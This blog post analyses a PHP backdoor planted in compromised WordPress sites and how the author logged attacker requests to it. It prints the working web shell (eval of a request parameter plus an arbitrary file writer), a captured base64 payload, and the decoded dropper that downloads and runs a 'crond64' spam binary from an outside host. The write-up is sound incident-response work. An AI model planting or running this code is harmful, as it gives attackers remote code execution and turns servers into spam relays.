Tags

,


Trapping POST/GET/REQ Headers to an exploited file

2015-07-08: See UPDATE Below

WordPress provides a robust PHP driven Content Management System (CMS) written in the popular web programming language PHP, but like a lot of PHP code it is often exploited by hackers.

WordPress Plugins provide the entry point for most attacks with Theme code coming in second, these days the WordPress core code base is very robust and so far exploit free since version 4 was released but sites running plugins are at risk of attacks.

The majority of compromised WordPress sites are used to send spam emails. The attackers do this in a number of ways, often a file is downloaded via an exploit so that the atacker has an entry point to download additional code that is run interactivly via a POST URL and when it terminates only the download code remains on the system. Sometimes if the hacker is sloppy they leave a compete instance of a file manager program which allows them to interactivly download file, manipulate databases, change file permissions, times and date stamps and a host of other malicious possibilities.

Below is a sample of a common 1 line attack vector. It comes in many variants and as I find more I will update this article with additional signatures.

Sample Exploited Code

<?php
$dkbzrn = "460f1459a273b9d6c302cb37f345a4b0"; if(isset($_REQUEST['saybz'])) { $yneod = $_REQUEST['saybz']; eval($yneod); exit(); } if(isset($_REQUEST['xmnn'])) { $wglj = $_REQUEST['qbtf']; $sttb = $_REQUEST['xmnn']; $uznugl = fopen($sttb, 'w'); $kakpx = fwrite($uznugl, $wglj); fclose($uznugl); echo $kakpx; exit(); }
?>

Pretty Version

<?php
$dkbzrn = "460f1459a273b9d6c302cb37f345a4b0";
if(isset($_REQUEST['saybz']))
{
    $code = $_REQUEST['saybz'];
    eval($code);
    exit();
}
if(isset($_REQUEST['xmnn']))
{
    $data = $_REQUEST['qbtf'];
    $filename = $_REQUEST['xmnn'];
    $fd = fopen($filename, 'w');
    $rv = fwrite($fd, $data);
    fclose($fd);
    echo $rv; exit();
}

The code basically has 2 parts, maybe a command handler that executes a string of PHP code when you post ‘saybz’ with the code as a parameter (usually in \xHH form) and a file down loader which has 2 parts, a file name (‘xmnn’) and payload (‘qbtf’). The variable assignment at the top is a mystery, I suspect the code being downloaded is encrypted and a loader uses the string to reverse it to executable code. A bit of a waste of time really as the data is not written to disk in most cases unless they are downloading new exploited files.

 

What to do when you find an exploited file.

When I find a file that’s been exploited, I remove the exploited code and replace it with a logging app so I can see what is being sent. I use the following code to trap what is being sent to an exploited file and log it to /tmp as that is one of the few directories the web server can actually write to:

$req_dump = print_r($_REQUEST, TRUE);
$post_dump = print_r($_POST, TRUE);
$get_dump = print_r($_GET, TRUE);
$date = date('Y-m-d');
$fname="/tmp/exploit-dump-".$date.".log";
$fp = fopen($fname, 'a');
$str=$date."|REQ|".$req_dump."\n";
fwrite($fp, $str);
$str=$date."|GET|".$get_dump."\n";
fwrite($fp, $str);
$str=$date."|POST|".$post_dump."\n";
fwrite($fp, $str);
fclose($fp);
chmod($fname,0666 );

2015-07-08

The day after I wrote this article an exploit attempt was recorded in the log file. the stored values were:

2015-07-08|POST|Array
(
[saybz] => $p = array_keys($_REQUEST); echo $_REQUEST[$p[2]]; eval(base64_decode($_REQUEST[$p[1]]));
[p1] => JGVudiA9ICJYRFZTTl9TRVNTSU9OX0NPT0tJRT1Qbkp4UERBeVBpMXljVHcrZDNCcVBENHRkM0JxUEQ1M2NISThQaTEzY0hJOFBtNTJQRGN5TWo0dGJuWThQbTVoUERNeU1qNHRibUU4UG1CeFBEQXlQaTFnY1R3K2JuYzhhbloyY2pndExYRnBMSFp0ZDJGcWNtTm1lQ3hoYlc4dFBpMXVkencrWUhjOGFuWjJjamd0TFdCamRpeDJiWGRoYW5KalpuZ3NZVzF2TFhCakxISnFjajR0WUhjOFBuRjNQR3AyZG5JNExTMXhkbU4yTEhadGQyRnFjbU5tZUN4aGJXOHRaV2d6TVN4eWFuSStMWEYzUEQ1dVptQThaR0JrTWpjK0xXNW1ZRHcrYVdrOE1UQTNZRFl6WVdNeU56RmhPekkyTWk0MllEQXdPMmN6TnpabVlEcG1ZV2N3TGpBeFkyWm5NR1F6TkdZeVp6c3lNRHN1TnpVelkyZG1Oell3T21ZeE96WXpaQzQzWTJNelpqZGhaREUwWm1FMU96QmdMalkyT3pVM01XWTBNR0F5TXpSZ05HY3VOR014Tmpkak5UUXpNVE5rTlRNek95NDFOekZqTkdCaE1UWm5OVHMyWVdSZ0xqVm1ZMlkzWVdNd01qSTdaak16WVdNdU5qVmtZREEwWUdFeE8yTmhORFV4Tnk0ME4yTmhNRFZoWmpJN05EczFPem8xTGpSZ1l6dG1OanBqTjJOaE16QTZaell1TVdRME5qSXlaMmN4WnpVN05HQTBZQzR6TnpWZ08yUTFaelExTURZM04yWmhMakE2TXpjM016TTFPbVE2TXpBeU55NDBORFExT2pka05qTTBPbUJoWVRjNkxqRTJNelprTUR0bk5tQTJObUJrTkdjdVp6VTJNVFV5TVRSa1lUVm5aREkyTGpCa00yWTBZenMxTVRZMk16RTdOek11TURRell6Y3pObU15TzJGa01EUTFOUzQxWjJjME96YzJaemMyTnpaZ05EdG5MamRqTTJOZ1pEc3hPekF6WTJGa09pNDNNMmN4TUdGZ1lETTdPbWN6Tm1NeExqRm5aMll3T2pNME5qRm5NVE5uTmpRdU5URm1PbWRqTURNd04yUXhPenM3T2k0ellHYzdNMlEyTnpRME1qWXhZMlE3TGpOa1lHRXdOVFE2TlR0Z1pEUm5ZVFl1TlRJek9qZGtOalUzTWpNN1lEUTdMakZoT2pBNk9qQTZNMlpnT3pkallUVXVOVEZrTlRKa1lEYzBNekE2WURNeE1TNHhORG83WkdkaE1qTm1ZRFkyWVdaa0xqQTZNREV6TnpkZ016VTJaRGRrT3pzdU4yRXlaam94TkRzMVlEQm5aakUzWUM0eFpERTBOV0V4TXpNd016Rm1OVEk3TGpjMk9tTm1ZMkZqTkRvd01EVXlZVG91TUdZelkyWXpPalV4WUdBd05tZG1PeTR4TlRjMFp6cG1NVEJqWVdSbU1HTm1MakV3TXpKZ01UVTBORFExTkRReE5tWXVORFExTTJGak5HY3hPbU16TlROa01TNDBaRFl5TkRVeE5EUm1NVG82Tm1ka0xqTTdPMlJuTWpzMk5tUTNNelF4TnpRdU5EbzNNekptTkdjd016WTdNRFZuT3k0Mk8yWmdPalpnTlRSalp6UTFNMmM2TGpGa05qSmpaMll3TUdRN04yQmtNemN1TXpJeE5qYzNZVE0zWUdkak1XQm1ZUzQwWkRJeU56czJaelZrWnpVNll6VTBMakZqTVRGaFlURmpNMmRqTnpjeE56UXVOVG95TURvMk5UVTBaalkxTTJSbU5pNDNPalZnTXpKa1p6VTFPenN5TUdBN0xqZG5PakF4WjJOaE1UcG5Nekl5TnpFdU1XQm1ZV00xWkRVek1UczFZenMxWUM0Mk8yUTZNemRuWkRGbk5EbzBOelZrTGpFMVptUm1ORG96TmpvMVlUSm1OVGN1TmpvM05XY3hNRFF5TURJd01XTTZZQzQwTWpjellHYzNZek0wWXpvMU8yRXhMbWRtTURGbk5XTXlaakkyTWpabU5DNHdaanRoTjJkbU1EVTNNenBtWURVdU4yQXdaREZrTVRNMVkyWm5NMk0wTXk1Z096UTNOR1F3TVdBd05EVXpOVGN1Tnpwbk1UTTZObVF3Tnpjek56dGhOQzQxWkdabU1HTmtNVE16TUdReFkyRXlMakV4WUdNM1ptQTBNekkzWjJBeFp6b3VNVHMxTnpwbk5ERTNObVkxTkRaZ01TNDdNelk3TW1ka01EY3hOVG96TVRVdU4yUXlOanMwTzJZd05ERmhPbVJoWmk0M01ESTNNVEprWmpjd1pqRTdabUV3TGpZeE0yTTdOV05rTWpSbVlXRTBNV011T2pkak5tUXlNelF5WkRzek1qczNMalZrWURJek96czNNakEwTWpJNk56VXVOR2RoTVdGak8yYzFPakJnWVRjNk5TNHpZRGRqTXpkak1XQTFOamRuTVdFdU56Wm1OVE0zTmpvMU5tQTBPelV3TXk0MVpEVmhOVGN5T3pZeFp6b3dObWM2TGpGbVlXUTNaR1l3TlRzN1lURTNOelV1TldjMU1EUXdZVFF5TldBeE1UVmpZQzQxTW1FeU16QTBNRGN6WkdOZ01tWXVOakF6TlRFMU1HQXlNREExTm1BN095NDBNMlkyTkdFNlpEWXpNREU3TmpOaExqUm1Nek5tTnpFeVkyWmhOVHMyWXk0ek1qdGtNVEkxWnpZeE1EcG5ZemRuTGpFeE1URXdOelJqTkRCbVptTm5NbWN1TmpWaFp6cG1OV1kyTzJOZ05USXlOeTR6TkRZMVlHUmdNRFl5TldNNllURXpMakJtT21NMk5XTmtOek0wT2pwZ01HTXVNRFE2T21abVlXWTBNVHRqTXpFd05pNHpPamRrTXpjeE9qSmpOR00zWm1ObkxqWm1NR0U3TXpWa01Ec3lOanN3TXpZdU5HQXpNR0EzWUdBek96YzdPakk2Wnk0Mk1USTFNVHMyT2pKa05qQXlPMlJrTGpFNk8yYzZabVl3TVRNMU16RTJZMmN1TldReE8yYzBPakV4TURabU1EYzNZUzQwTkdZeU16UTFORFExTlRFek1UZGdMakV4WkdFeE1ETXdOVEF4WURzNk1tWXVNRFExWUdRN1lEb3pOelkxWkRZMFlDNHdOR1JrWnpzM1pqUmdNVEF3WnpjekxqQmdOV1EyTWpVNk1HUTBNMlpuTVdZdU5qQTJOMll5WUdjMU56cGdZV1k3Tnk0d1pqUTBOR1F3TVRBeU1tTmdZR0UyTGpBeVkyWTdNR1F6TkRFNll6ZG5PMlF1TXpNMll6cG1OR1l4TnpwZ01UczdaQzQyTlRVMk56Qm1OekEzWjJNNk5qRmtMalkxT3pJN096RXpORFF4TzJFME56TXVOMkF5WURRM1oyQTJPemN5T3pWak55NDJZek0yTVRwbk1UVTNZekV3TkdBN0xqQmpOakZnTzJOZ05qWTNNR2N5WnpJdU0yWXdPMlEwWmpNd1p6SmdOREZrTUM0MFptRm5aR2N3TXpFeU9tZGpNRFZrTGpRMk5tYzdZelEwTkRZMVlETXhZekF1Tm1FMk5EUTNabVl3TTJFN1pEcGtNaTQzTUdRMFl6VTZZekZrTlROaE16RTdMalkzTmpabk5UZGtNR2RnTURVeE1EUXVOamRqTkRObU5ERXpZV1l4WURGa05pNW5ZV0JqT2p0Z04yRmpZMk16TnpzdU5qUTJOVFpnTVdFMU1EdGhZRGRtTnk1bk5EUXdaRFF3TnpSZ016TXhaRFF1TVRzM1p6czdOVFExTTJOa1lHUm1Mak5oT3pRek56c3hOak0wTUdBME1UWXVNVFZqT2pVeE0yQXpOak5tTm1SaFpDNHpNalF3WjJBeU1qWm5NVEE3TlRKbUxqZGdOMkEyTWpGaE5qRm1ORHN4WXpjK0xXbHBQQT09IjsKCmZ1bmN0aW9uIGRvd25sb2FkRmlsZSAoJHVybCwgJHBhdGgpIHsKCiAgJG5ld2ZuYW1lID0gJHBhdGg7CiAgJGZpbGUgPSBmb3BlbiAoJHVybCwgInJiIik7CiAgaWYgKCRmaWxlKSB7CiAgICAkbmV3ZiA9IGZvcGVuICgkbmV3Zm5hbWUsICJ3YisiKTsKCiAgICBpZiAoJG5ld2YpCiAgICB3aGlsZSghZmVvZigkZmlsZSkpIHsKICAgICAgZndyaXRlKCRuZXdmLCBmcmVhZCgkZmlsZSwgMTAyNCAqIDY0ICksIDEwMjQgKiA2NCApOwogICAgfQogIH0KCiAgaWYgKCRmaWxlKSB7CiAgICBmY2xvc2UoJGZpbGUpOwogIH0KCiAgaWYgKCRuZXdmKSB7CiAgICBmY2xvc2UoJG5ld2YpOwogIH0KIH0KCiRvcyA9IHBocF91bmFtZSgncycpOwokdHlwZSA9IHBocF91bmFtZSgnbScpOwoKZWNobyAiUEhQX1NUQVJUIjsKCmlmICggIWZ1bmN0aW9uX2V4aXN0cyhzaGVsbF9leGVjKSApCnsKCWVjaG8gIm5vZXhlY1xuIjsKCWVjaG8gIlBIUF9FTkQiOwoJZXhpdCgwKTsKfQoKaWYgKCAkb3MgIT09ICJMaW51eCIgKQp7CgllY2hvICJOb0xpbnV4OiAiLiRvcy4iPGJyPlxuIjsKCWVjaG8gIlBIUF9FTkQiOwoJZXhpdCgwKTsKfQoKCgppZiAoc3RybGVuKGRlY2Jpbih+MCkpID09IDY0KSAKewoJcHJpbnQgIng4Nl82NFxuIjsKCSRkdyA9ICJodHRwOi8vcGFnZXMudG91Y2hwYWR6LmNvbS9jcm9uZDY0IjsKCSRwcyA9ICIuL3BocC1jZ2kiOwp9CmVsc2UKewoJcHJpbnQgImk2ODZcbiI7CgkkZHcgPSAiaHR0cDovL3BhZ2VzLnRvdWNocGFkei5jb20vY3JvbmQzMiI7CgkkcHMgPSAiLi9waHAtY2dpIjsKfQoKJHBzID0gInBzIjsKCmlmICghZmlsZV9leGlzdHMoJHBzKSkKewoJZWNobyAiRG93bmxvYWQgJGR3XG4iOwoJZG93bmxvYWRGaWxlKCRkdywgJHBzKTsKCS8vQGZpbGVfcHV0X2NvbnRlbnRzKCIkUFMiLCBAZmlsZV9nZXRfY29udGVudHMoJGR3KSk7Cn0KZWxzZQp7CgllY2hvICJFeGlzdHMgJHBzXG4iOwp9CgoKY2htb2QgKCRwcywgIjA3NTUiKTsKCiRjbWQgPSAkZW52LiIgLi8kcHMgPi9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmIjsKJG91dCA9IHNoZWxsX2V4ZWMoJGNtZCk7CgoKdW5saW5rICgkcHMpOwoKZWNobyAiUEhQX0VORCI7Cg==
[p2] => b1946ac92492d2347c6235b4d2611184
[shid] => 563265
)

Decrypting this is quite easy, the value [saybz] corresponds to the “Command” portion of the downloader code and is valid PHP code to decrypt, the [p1] portion is the base64 data.

To reverse this, create a file and assign the base64 data to a variable like $x and then decode it with $y=base64_decode($x); then echo the $y variable to see the code.

The resultant file is a new downloader with a block of Base64 encoded data at the start (NOT Shown in listing below), in this case a binary file is downloaded for Linux servers called ‘crond64’. I capture this file and its a binary app written in C++ but I am yet to disassemble it back to source code. A search of the web shows it to be a SPAMING Program but the download mechanism means it can download anything including Kernel exploit attempts.

The code created from the downloaded data stream looks like:

function downloadFile ($url, $path)
{

    $newfname = $path;
    $file = fopen ($url, “rb”);
    if($file)
{
$newf = fopen ($newfname, “wb+”);
        if($newf)
           while(!feof($file))
{
               fwrite($newf, fread($file, 1024 * 64 ), 1024 * 64 );
           }
    }
    if ($file) { fclose($file); }
    if ($newf) {fclose($newf);}
}

$os = php_uname(‘s’);
$type = php_uname(‘m’);

echo “PHP_START”;

if ( !function_exists(shell_exec) )
{
   echo “noexec\n”;
   echo “PHP_END”;
   exit(0);
}
if ( $os !== “Linux” )
{
   echo “NoLinux: “.$os.”<br>\n”;
   echo “PHP_END”;
   exit(0);
}
if (strlen(decbin(~0)) == 64)
{
    print “x86_64\n”;
    $dw = “http://pages.touchpadz.com/crond64&#8221;;
    $ps = “./php-cgi”;
}
else
{
    print “i686\n”;
    $dw = “http://pages.touchpadz.com/crond32&#8221;;
    $ps = “./php-cgi”;
}

$ps = “ps”;

if (!file_exists($ps))
{
    downloadFile($dw, $ps);
    //@file_put_contents(“$PS”, @file_get_contents($dw));
}
else
{
    echo “Exists $ps\n”;
}
chmod ($ps, “0755”);
$cmd = $env.” ./$ps >/dev/null 2>/dev/null &”;
$out = shell_exec($cmd);
unlink ($ps);
echo “PHP_END”;

See: A search on the environment variable parameter “XDVSN_SESSION_COOKIE” set at the start of the downloader found this interesting article: http://security.stackexchange.com/questions/84933/is-there-anyway-to-easily-decipher-this-virus-code

 

References and Furthur reading

I suggest a quick read of this to disable execution of PHP code in upload directories:

in addition to this article, I have detailed some more code exploits and some reverse engineering articles here:

Advertisements